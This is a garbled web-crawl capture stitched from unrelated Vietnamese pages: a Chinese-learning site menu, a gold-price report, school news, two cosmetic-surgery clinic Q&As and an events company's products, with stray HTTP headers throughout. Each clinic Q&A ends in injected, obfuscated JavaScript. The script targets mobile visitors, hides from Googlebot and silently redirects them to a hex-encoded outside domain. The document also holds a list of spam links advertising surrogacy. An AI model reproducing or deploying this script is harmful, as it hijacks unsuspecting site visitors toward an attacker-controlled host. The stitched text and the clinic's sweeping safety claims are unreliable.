markdown:
Trang chủ
Học tiếng Trung
Các giáo trình tiếng Trung
GT 6 Quyển Trần Thị Thanh Liêm
GT Nghe Slow-Chinese
GT Đàm thoại tiếng Hoa thông dụng
GT Grow Up with Chinese
GT Hán Ngữ ĐH Bắc Kinh
GT Cơ bản Chinese-Tools
GT Hán Ngữ Mỗi Ngày 每日汉语
GT Tiếng Trung Bồi – Ngọc Sắc
GT Tiếng Trung Thương Mại
GT Tự học Hán ngữ cơ bản Lê Anh Minh 2007
GT Video hoạt hình Gia Đình vui vẻ
Học dịch tiếng Trung
Học dịch qua 1001 bức thư viết cho tương lai
Bản gốc tiếng Trung
Học dịch qua 999 bức thư viết cho bản thân
File Audio nghe 999 bức thư
Ngữ pháp tiếng Trung
Học tiếng Trung theo chủ đề
Ôn thi HSK
Từ lóng, tiếng lóng
Chữ Hán sâu sắc
Thành ngữ tiếng Trung
Tiếng Trung Bồi
Công cụ học tiếng Trung
Tra tên Việt – Trung
Bộ gõ tiếng Trung
Kho phần mềm, tiện ích
Tìm hiểu Trung Hoa
Du lịch – Danh lam – Thắng cảnh
Phong tục tập quán
Nhạc Trung Hoa
Tìm kiếm
.:: Học Tiếng Trung Online ::.
Trang chủ
Học tiếng Trung
Các giáo trình tiếng Trung
GT 6 Quyển Trần Thị Thanh Liêm
GT Nghe Slow-Chinese
GT Đàm thoại tiếng Hoa thông dụng
GT Grow Up with Chinese
GT Hán Ngữ ĐH Bắc Kinh
GT Cơ bản Chinese-Tools
GT Hán Ngữ Mỗi Ngày 每日汉语
GT Tiếng Trung Bồi – Ngọc Sắc
GT Tiếng Trung Thương Mại
GT Tự học Hán ngữ cơ bản Lê Anh Minh 2007
GT Video hoạt hình Gia Đình vui vẻ
Học dịch tiếng Trung
Học dịch qua 1001 bức thư viết cho tương lai
Bản gốc tiếng Trung
Học dịch qua 999 bức thư viết cho bản thân
File Audio nghe 999 bức thư
Ngữ pháp tiếng Trung
Học tiếng Trung theo chủ đề
Ôn thi HSK
Từ lóng, tiếng lóng
Chữ Hán sâu sắc
Thành ngữ tiếng Trung
Tiếng Trung Bồi
Công cụ học tiếng Trung
Tra tên Việt – Trung
Bộ gõ tiếng Trung
Kho phần mềm, tiện ích
Tìm hiểu Trung Hoa
Du lịch – Danh lam – Thắng cảnh
Phong tục tập quán
Nhạc Trung Hoa
Trang chủ
Trung Hoa 24/7
Trung Hoa 24/7
Bài hát nổi tiếng
Danh lam - Thắng Cảnh - Du lịch
Danh ngôn
Điện ảnh
Nhân vật
Những bài văn hay Trung Quốc
Phong tục tập quán
Sao Trung Hoa
Latest
Latest
Featured posts
Most popular
7 days popular
By review score
Random
Cùng thay đổi phong cách thời trang với cô nàng đa phong cách Đàm Tùng...
duongthuy
-
24/09/2017
Điểm danh 8 bộ phim làm “ông tơ – bà nguyệt” cho những cặp đôi...
duongthuy
-
24/09/2017
Nhan sắc “không đổi theo thời gian” của các mĩ nhân Hoa ngữ qua loạt...
huonglinh
-
24/09/2017
Chỉ là cắt tóc ngắn thôi mà Triệu Lệ Dĩnh đã phải lao đao vì...
huonglinh
-
24/09/2017
7 mỹ nhân sinh năm 1987 làm chao đảo Cbiz, ngoài...
huonglinh
-
24/09/2017
0
Không hiểu Triệu Lệ Dĩnh có tội tình gì mà dự...
huonglinh
-
24/09/2017
0
6 gương mặt sáng giá được cư dân mạng đề cử...
huonglinh
-
24/09/2017
0
Triệu Lệ Dĩnh: Tay chơi hàng hiệu “ngầm” của showbiz Hoa...
huonglinh
-
24/09/2017
0
Các ‘thánh ế’ của màn ảnh Hoa Ngữ này không biết...
huonglinh
-
24/09/2017
0
Những “hắc y mỹ nhân” xinh đẹp động lòng người trên...
huonglinh
-
24/09/2017
0
4 mỹ nhân C-Biz năm ấy chúng ta chửi ‘sấp mặt’...
huonglinh
-
24/09/2017
0
Khi mỹ nhân 9x Hoa ngữ để tóc ngắn. Ai “chất”...
duongthuy
-
24/09/2017
0
Những tượng đài nhan sắc của nam thần màn ảnh Hoa...
duongthuy
-
24/09/2017
0
Cảnh quay đắt giá trong Lệ Cơ truyện ở hậu trường...
duongthuy
-
24/09/2017
0
So sánh phong cách 4 đàn em của Dương Mịch, Phạm...
phamngocloi
-
23/09/2017
0
Mỹ nhân Hoa ngữ và những bức hình “Ảnh của ai...
duongthuy
-
22/09/2017
0
Những nam thần “kinh” được bao bọc bởi lớp vỏ nam...
duongthuy
-
21/09/2017
0
Ngọt ngào, ấm áp và đôi lúc nhí nhảnh như các...
duongthuy
-
21/09/2017
0
Tuổi trẻ thành danh. Hãy cùng nhìn lại chặng đường 17...
duongthuy
-
21/09/2017
0
Những địa điểm tuyệt đẹp ở Trung Quốc đốn tim các...
duongthuy
-
21/09/2017
0
1
2
3
...
82
Trang 1 trên tổng số 82
Bài Hot
[Tên tiếng Trung] Những cái tên hay nhất trong tiếng Trung
25/11/2016
Nguồn gốc và ý nghĩa của các dãy số 25251325, 35351335,...
19/02/2014
[Tên tiếng Trung Quốc] Những tên cổ trang Tiếng Trung Quốc...
11/04/2017
Thư mục Hot
Học tiếng Trung theo chủ đề
783
Sao Trung Hoa
504
Điện ảnh
427
Trung Hoa 24/7
398
Giáo trình nghe Slow Chinese
199
Học tiếng Trung
179
GT Tiếng Trung Thương Mại toàn tập
176
Chữ Hán sâu sắc
104
GT Video hoạt hình Gia Đình vui vẻ
102
Trang chủ
Học tiếng Trung
Các giáo trình tiếng Trung
GT 6 Quyển Trần Thị Thanh Liêm
GT Nghe Slow-Chinese
GT Đàm thoại tiếng Hoa thông dụng
GT Grow Up with Chinese
GT Hán Ngữ ĐH Bắc Kinh
GT Cơ bản Chinese-Tools
GT Hán Ngữ Mỗi Ngày 每日汉语
GT Tiếng Trung Bồi – Ngọc Sắc
GT Tiếng Trung Thương Mại
GT Tự học Hán ngữ cơ bản Lê Anh Minh 2007
GT Video hoạt hình Gia Đình vui vẻ
Học dịch tiếng Trung
Học dịch qua 1001 bức thư viết cho tương lai
Bản gốc tiếng Trung
Học dịch qua 999 bức thư viết cho bản thân
File Audio nghe 999 bức thư
Ngữ pháp tiếng Trung
Học tiếng Trung theo chủ đề
Ôn thi HSK
Từ lóng, tiếng lóng
Chữ Hán sâu sắc
Thành ngữ tiếng Trung
Tiếng Trung Bồi
Công cụ học tiếng Trung
Tra tên Việt – Trung
Bộ gõ tiếng Trung
Kho phần mềm, tiện ích
Tìm hiểu Trung Hoa
Du lịch – Danh lam – Thắng cảnh
Phong tục tập quán
Nhạc Trung Hoa
© Chuyên trang chia sẻ kiến thức tiếng Trung từ năm 2012

Set-Cookie: bp_user-registered=0; expires=Wed, 20-Aug-2031 22:36:09 GMT; Max-Age=432000000; path=/


markdown:
#
Tin tức vàng
Giá vàng phiên 14/10 lập đỉnh 3 tháng rưỡi khi số liệu thất vọng của Mỹ, lo ngại giảm phát tại Trung Quốc làm tăng đồn đoán Fed hoãn nâng lãi suất.
Lúc 15h09 giờ New York (3h09 sáng giờ Việt Nam) giá vàng giao ngay tăng 1,6% lên 1.187,56 USD/ounce, trước đó, giá vàng lập đỉnh 1.188,2 USD/ounce, cao nhất kể từ 23/6.
Giá vàng giao tháng 12/2015 trên sàn Comex tăng 14,4 USD, tương đương 1,2%, lên 1.179,8 USD/ounce, cao nhất kể từ 22/6 và lần đầu tiên cao hơn mức bình quân 200 ngày trong vòng 5 tháng qua.
Giá vàng tăng sau khi Beige Book của Fed được công bố, cho thấy thị trường lao động Mỹ tiếp tục thắt chặt và lĩnh vực sản xuất đang chịu ảnh hưởng tiêu cực do USD mạnh lên.
USD xuống thấp nhất 7 tuần so với các đồng tiền trong giỏ tiền tệ sau khi số liệu doanh số bán lẻ nội địa và giá nhà sản xuất thấp hơn dự kiến khiến giới đầu tư giảm đồn đoán Fed sẽ nâng lãi suất trong năm nay.
Trong tháng 9, doanh số bán lẻ của Mỹ gần như không tăng, trong khi chỉ số giá nhà sản xuất giảm 0,5% và lượng hàng lưu kho tháng 8 không đổi.
Trong số các kim loại quý khác, giá bạc tăng 1,7% lên 16,16 USD/ounce, giá bạch kim tăng 0,8% lên 994,75 USD/ounce và giá palladium tăng 2,8% lên 698,5 USD/ounce.

WARC-Type: response

Content-Type: application/http; msgtype=response

WARC-Truncated: length

WARC-Identified-Payload-Type: text/html

Server: ISS/4.0 (Windows XP)

Connection: close

Set-Cookie: COOKIE_SUPPORT=true; Expires=Tue, 11-Dec-2018 22:44:33 GMT; Path=/

Liferay-Portal: Liferay Portal Community Edition 6.1.1 CE GA2 (Paton / Build 6101 / July 31, 2012)


markdown:
Ngành GD&ĐT huyện Ngọc Hồi tuyên dương, khen thưởng 155 giáo viên giỏi và học sinh giỏi cấp tỉnh
Theo báo cáo của đơn vị, năm học 2016 - 2017, bên cạnh công tác giáo dục học sinh theo khung kiến thức của Bộ GD&ĐT quy định, các cơ sở giáo dục trực thuộc còn nỗ lực xây dựng kế hoạch tổ chức bồi dưỡng học sinh năng khiếu, học sinh giỏi các môn văn hóa để tham gia hội thi cấp huyện, tỉnh và quốc gia.
TIN MỚI HƠN
TIN ĐÃ ĐƯA

Cache-Control: no-cache,private, max-age=0

Content-Type: text/html; charset=utf-8


markdown:
**Câu hỏi tư vấn:**
Chào Thẩm mỹ viện Hàn Quốc JW, tôi từng nhấn mí Hàn Quốc ở Đà Nẵng. Tuy nhiên, thời gian gần đây tôi phát hiện mắt bắt đầu xuất hiện da chùng và mỡ thừa, tuy không nhiều nhưng cũng ảnh hưởng đến tính thẩm mỹ của khuôn mặt, không biết có cách nào để giải quyết tình trạng này không. Hy vọng các bác sĩ tư vấn giúp tôi!
*(Thu Vân, Đà Nẵng)* **Thẩm mỹ viện Hàn Quốc JW trả lời:**
Thu Vân thân mến!
Cảm ơn câu hỏi của Thu Vân gửi về cho chuyên mục tư vấn của Thẩm mỹ viện Hàn Quốc JW, chuyên viên tư vấn của trung tâm sẽ giúp bạn hiểu rõ hơn qua bài viết dưới đây:
*Nhấn mí Hàn Quốc ở Đà Nẵng: Ảnh minh họa*
Trước hết, bạn nên an tâm và đừng quá lo lắng về khuyết điểm này nhé, đây là tình trạng hết sức bình thường về vấn đề lão hóa. Trước đây, bạn từng bấm mí Hàn Quốc ở Đà Nẵng để có đôi mắt tươi trẻ, rõ ràng với nếp mí sâu. Tuy nhiên, theo cơ chế lão hóa tự nhiên của con người, mắt sẽ có hiện tượng da chùng, mỡ thừa lần lượt xuất hiện, xâm lấn làm mắt sụp, mí kém rõ ràng cũng là điều dễ hiểu.
Để giải quyết tình trạng này, kỹ thuật cắt mắt công nghệ Hàn Quốc sẽ giúp bạn khắc phục hiệu quả, mang lại đôi mắt hai mí tinh nhạy, tự nhiên như mong đợi. Bác sĩ sẽ thực hiện cắt bỏ phần da thừa, mỡ thừa mí mắt đồng thời tạo nếp mí mới trùng đường vẽ đã định hình thông qua một đường mổ siêu nhỏ nằm ở bờ mi, tạo nếp mí mới cân đều hai bên mắt.
*Thẩm mỹ cắt mí mắt tạo mắt hai mí tự nhiên*
Thẩm mỹ viện Hàn Quốc JW – Chi nhánh của Bệnh viện Jeong Won sẽ là sự lựa chọn hàng đầu dành cho khách hàng muốn tạo hình mắt. Thẩm mỹ JW chuyển giao công nghệ bấm mí từ Bệnh viện Jeong Won
Bác sĩ mắt tại Thẩm mỹ viện Hàn Quốc JW sẽ thực hiện một quy trình khép kín cho trường hợp của bạn như sau:
– Vệ sinh vùng mắt, gây tê nhẹ.
– Rút bỏ, xóa liên kết cũ tại đường mi trước đây từng bấm mí Hàn Quốc Đà Nẵng.
– Bác sĩ tiến hành lấy mỡ, da thừa và tạo hình 2 mí bằng phương pháp cắt mắt Hàn Quốc.
*Hình ảnh trước – sau cắt mí mắt tại Thẩm mỹ JW*
Đây là tiểu phẫu đơn giản, được các bác sĩ thực hiện nhẹ nhàng, hoàn toàn không để lại sẹo. Sau khi thực hiện, bạn sẽ có khuôn mặt sáng rỡ với nếp mí rõ ràng. Kỹ thuật này được chúng tôi đảm bảo an toàn, cam kết mang đến tính thẩm mỹ cao nhất, không gây ảnh hưởng đến thị lực, các chức năng điều tiết mắt.
(Bài viết “Nhấn mí Hàn Quốc ở Đà Nẵng” được trích nguồn từ
[thammyhanquoc.vn](http://thammyhanquoc.vn))
(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],

Server: Apache

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

Link: <http://koreaplastic.vn/wp-json/>; rel="https://api.w.org/", <http://koreaplastic.vn/?p=23730>; rel=shortlink

Content-Type: text/html; charset=UTF-8


markdown:
**Hỏi: **
Xin chào Thẩm mỹ viện Hàn Quốc JW, mình muốn đi thực hiện phẫu thuật hàm móm nhưng hiện tại mình chưa đủ điều kiện để thực hiện nên mình muốn biết chi phí của ca phẫu thuật hàm móm giá bao nhiêu để tiến hành.
(Hằng Lê – Vũng Tàu)
**Chuyên viên tư vấn trả lời:**
Cảm ơn bạn đã gửi câu hỏi đến Thẩm mỹ viện Hàn Quốc JW, với câu hỏi của bạn là phẫu thuật hàm móm giá bao nhiêu tiền, chúng tôi xin được giải đáp thắc mắc của bạn như sau:
Ông bà ta có câu “cái răng cái tóc là gốc con người” nhằm khẳng định yếu tố quan trọng của hàm răng và mái tóc đối với việc tạo nên vẻ đẹp của một con người. Nhưng không phải ai cũng may mắn sở hữu một hàm răng đều như hạt bắp, trắng sáng để tự tin mỉm cười.
Do tác động của nhiều nguyên nhân mà một số trường hợp vấp phải những khiếm khuyết về răng hàm làm cho khuôn hàm bị đẩy về trước hoặc thụt ra sau quá nhiều làm nên tình trạng hô, móm, gây mất tự tin trong giao tiếp cho người sở hữu.
*Phẫu thuật hàm móm giá bao nhiêu tiền?*
Trước đây, để chỉnh hình hô, móm, đa số hay sử dụng phương pháp niềng răng chỉnh nha. Nhưng hạn chế của phương pháp này là chỉ xử lý được tình trạng hô móm ở mức độ nhẹ và áp dụng hiệu quả cho những trường hợp tuổi còn trẻ. Hơn thế nữa, các trường hợp hô, móm do hàm thì niềng răng không cho hiệu quả.
Vì những nhược điểm ấy mà khoa học thẩm mỹ đã cho ra đời phương pháp phẫu thuật hàm hô, móm để thay thế và giải quyết triệt để những vấn đề về răng hàm mà liệu pháp niềng răng không giải quyết được.
Hiện Thẩm mỹ viện Hàn Quốc JW đang áp dụng phương pháp phẫu thuật hàm móm công nghệ Hàn Quốc đích thực, được chuyển giao 100% từ bệnh viện JW Hàn.
Theo đó, chúng tôi ứng dụng các công nghệ, máy móc mới và hiện đại nhất vào quá trình phẫu thuật hàm móm như phương pháp BSSO không cần nhổ răng. Phẫu thuật hàm móm khá phức tạp, đòi hỏi bác sĩ phải có kinh nghiệm và mắt thẩm mỹ tinh tế để đưa ra chuẩn đoán chính xác và lựa chọn kỹ thuật cho phù hợp. Phẫu thuật BSSO bác sĩ sẽ tiến hành cắt dọc hai cành bên xương hàm dưới đẩy lùi về sau, xương cắt sẽ được cố định bằng nẹp vis.
Đặc biệt, với phương pháp chỉnh hàm móm tại Thẩm mỹ viện Hàn Quốc JW, tất cả các trường hợp móm đều có thể khắc phục được và mang lại kết quả hoàn hảo với khuôn hàm hết móm đúng tỉ lệ đẹp.
**Phẫu thuật hàm móm giá bao nhiêu tiền?**
Phẫu thuật hàm móm tại Thẩm mỹ viện Hàn Quốc JW có chi phí 100 triệu/hàm đối với phương pháp BSSO và 150 triệu thực hiện cho 2 hàm.
Chúc bạn ngày càng xinh đẹp!
["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],


markdown:
友情链接：
代孕
武汉代孕
捐卵
武汉代孕
代孕
代孕
武汉代孕
代孕
Giới thiệu
Giới thiệu
Đội ngũ nhân sự
CEO
Tin tức
Tin Việt Nam
Tin Hàn Quốc
Tin Quốc Tế
Lĩnh vực kinh doanh
Tổ chức sự kiện
PR - Quảng cáo - Phim
Thiết kế & in ấn
Dàn dựng & cho thuê thiết bị TCSK
Sự kiện
Hội nghị, hội thảo
Khai trương, kỉ niệm
Văn hóa, nghệ thuật
Gameshow truyền hình
Đầu tư
Đầu tư sang Hàn Quốc
Đầu tư vào Việt Nam
Sản phẩm
Sản phẩm Hàn Quốc
Sản phẩm Việt Nam
Sản phẩm Quốc Tế
Kvi Television
KVI Television
Hình ảnh hậu trường
Liên hệ
Sản phẩm
Kem đánh răng đặc biệt cho bé 0-5 tuổi Wild EMOFORM
Kem đánh răng Wild EMOFORM ®-Kids sở hữu công thức đặc biệt, có khả năng diệt khuẩn, trị sâu răng hiệu quả cũng nhưng tác động làm chắc và chống xói mòn, giúp răng và lợi bé luôn trắng sáng và khỏe mạnh.
Xem tiếp
Kem đánh răng loại bỏ cao răng
Chipu lý giải vì sao lựa chọn kem đánh trắng răng loại bỏ cao răng DEPURDENT.
Xem tiếp
Kem đánh răng trị chảy máu lợi, viêm lợi Thụy Điển
Công ty Dr Wild & Co. AG đã rất thành công với sản phẩm Emoform® một sản phẩm được nghiên cứu, sản xuất theo tiêu chuẩn đặc biệt nhằm bảo vệ toàn diện, mang lại hiệu quả cao nhất trong việc chăm sóc răng, lợi.
